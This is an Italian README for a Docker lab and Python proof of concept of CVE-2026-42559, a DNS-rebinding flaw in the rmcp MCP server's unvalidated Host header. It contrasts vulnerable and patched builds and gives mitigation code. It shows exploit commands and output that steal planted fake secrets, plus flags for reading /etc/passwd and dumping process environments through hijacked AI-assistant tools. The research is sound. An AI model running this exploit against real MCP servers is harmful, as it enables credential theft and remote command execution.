
Lab Docker e proof-of-concept in Python che dimostrano il DNS rebinding tramite header Host non validato nel trasporto HTTP Streamable del server rmcp (CVE-2026-42559). Include build vulnerabili e corrette per i test.
| Interessati | rmcp — l'SDK Rust ufficiale per il Model Context Protocol — < 1.4.0 |
| Corretto in | 1.4.0 (2026-04-10) |
| CWE | CWE-346 (Errore di validazione dell'origine), CWE-350 |
| CVSS 3.1 | 8.8 Alto — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
Il trasporto server HTTP Streamable in rmcp < 1.4.0 non ha mai ispezionato
l'header Host in ingresso. I server MCP sono tipicamente vincolati al loopback
e sono protetti solo dalla same-origin policy del browser — che il DNS rebinding
aggira:
http://evil.example, servito con un TTL DNS di 1 secondo.evil.example → 127.0.0.1.fetch("http://evil.example:8000/mcp", …). La richiesta arriva
sul server MCP locale della vittima, ma il browser la tratta ancora come
same-origin — nessun preflight CORS, e il JavaScript può leggere ogni risposta.L'unica cosa che separa quella richiesta da una legittima è l'header
Host: evil.example:8000 invece di 127.0.0.1:8000. Senza validazione, la
pagina dell'attaccante ottiene una sessione MCP completa e può enumerare e chiamare ogni strumento
che il server espone — letture di file, scritture, esecuzione di shell, qualunque cosa l'assistente
fosse configurato per fare.
1.4.0 ha aggiunto StreamableHttpServerConfig::allowed_hosts, con default
["localhost", "127.0.0.1", "::1"], e un gate validate_dns_rebinding_headers()
all'inizio del gestore delle richieste che risponde 403 Forbidden in caso contrario.
.
├── docker-compose.yml # due servizi, stessa sorgente, versione rmcp diversa
├── mcp-server/ # un server MCP "assistente sviluppatore" realistico
│ ├── Cargo.toml
│ ├── Dockerfile # l'argomento di build RMCP_VERSION fissa la crate
│ └── src/main.rs
└── exploit/
└── exploit.py # PoC, Python 3.9+, nessuna dipendenza
Entrambi i container compilano lo stesso src/main.rs con la stessa configurazione del server.
L'unica differenza è la versione della crate fissata, quindi il cambiamento di comportamento deriva
interamente dalla libreria:
| Servizio | Porta | rmcp | Atteso |
|---|---|---|---|
vulnerable | 127.0.0.1:8000 | 1.3.0 | Host falsificato accettato → compromissione totale |
patched | 127.0.0.1:8001 | 1.4.0 | Host falsificato → 403 Forbidden |
Il server espone whoami, read_file e run_command, e l'immagine è
seminata con credenziali finte in /home/dev/project/.env e
/home/dev/.ssh/id_ed25519 così l'exploit ha qualcosa da rubare.
docker compose up -d --build
Sfrutta la build vulnerabile:
python3 exploit/exploit.py --target 127.0.0.1:8000
CVE-2026-42559 :: rmcp Streamable HTTP -- l'header Host non è validato
target http://127.0.0.1:8000/mcp
Host legittimo 127.0.0.1:8000
Host rebind mcp-rebind.attacker.example:8000
[*] passo 0: handshake di base con l'header Host legittimo
[+] 200 OK -- il server è attivo: rmcp 1.3.0
[*] passo 1: replay della richiesta post-rebind (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- l'header Host falsificato è stato accettato: VULNERABILE a CVE-2026-42559
[+] sessione aperta da un'origine esterna: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57
[*] passo 2: enumerazione degli strumenti ora esposti alla pagina dell'attaccante
- read_file Legge un file dalla workstation
- run_command Esegue un comando shell sulla workstation
- whoami Descrive la workstation su cui gira questo assistente
[*] passo 3: invocazione degli strumenti come se la pagina dell'attaccante fosse un client MCP locale
tools/call whoami
| user=unknown host=35b31d892a7a pid=1
tools/call read_file path=/home/dev/project/.env
| STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
| DATABASE_URL=postgres://app:[email protected]:5432/app
tools/call read_file path=/home/dev/.ssh/id_ed25519
| -----BEGIN OPENSSH PRIVATE KEY-----
| FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
| -----END OPENSSH PRIVATE KEY-----
tools/call run_command command='id; uname -a'
| uid=1000(dev) gid=1000(dev) groups=1000(dev)
| Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux
[!] lettura arbitraria ed esecuzione di comandi sull'host della vittima, da una pagina web
Poi la build corretta, per confermare la correzione:
python3 exploit/exploit.py --target 127.0.0.1:8001
[*] passo 0: handshake di base con l'header Host legittimo
[+] 200 OK -- il server è attivo: rmcp 1.4.0
[*] passo 1: replay della richiesta post-rebind (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Forbidden: l'header Host non è consentito
[+] NON VULNERABILE: questa build valida l'header Host (rmcp >= 1.4.0)
Il codice di uscita è 1 quando il target è vulnerabile e 0 quando non lo è, quindi lo
script si integra direttamente nella CI.
Flag utili:
python3 exploit/exploit.py \
--target 127.0.0.1:8000 \
--rebind-host wallet.attacker.example \
--loot /etc/passwd \
--command 'cat /proc/self/environ | tr "\0" "\n"'
Smonta tutto con docker compose down.
L'exploit apre una connessione TCP verso il target e scrive un
header Host controllato dall'attaccante (http.client.putrequest(..., skip_host=True)).
Questa è byte per byte la richiesta che emette un browser con rebind — il DNS rebinding è
solo il meccanismo che fa sì che un browser invii un Host estraneo a un socket
di loopback. Riprodurlo in questo modo mantiene il lab a due container e senza infrastruttura
DNS, testando esattamente il percorso di codice di cui tratta la CVE.
// 1. Aggiorna.
// rmcp = "1.4" (o successiva)
// 2. Solo-loopback è il default dalla 1.4.0 in poi — nessuna azione necessaria
// per un server vincolato localmente.
let config = StreamableHttpServerConfig::default();
// 3. Per una distribuzione pubblica genuina, inserisci nella allowlist i tuoi nomi.
let config = StreamableHttpServerConfig::default()
.with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);
Se non puoi aggiornare, termina l'endpoint MCP dietro un reverse proxy che
rifiuta valori Host sconosciuti, e non vincolare il server a 0.0.0.0 senza
uno. disable_allowed_hosts() esiste ma reintroduce esattamente questo bug.
Tutto ciò che è qui è intenzionalmente vulnerabile ed esiste per ricerca e istruzione. I container espongono uno strumento di esecuzione shell di proposito — esegui il lab solo su una macchina di tua proprietà, e non puntare mai l'exploit verso un host che non sei autorizzato a testare.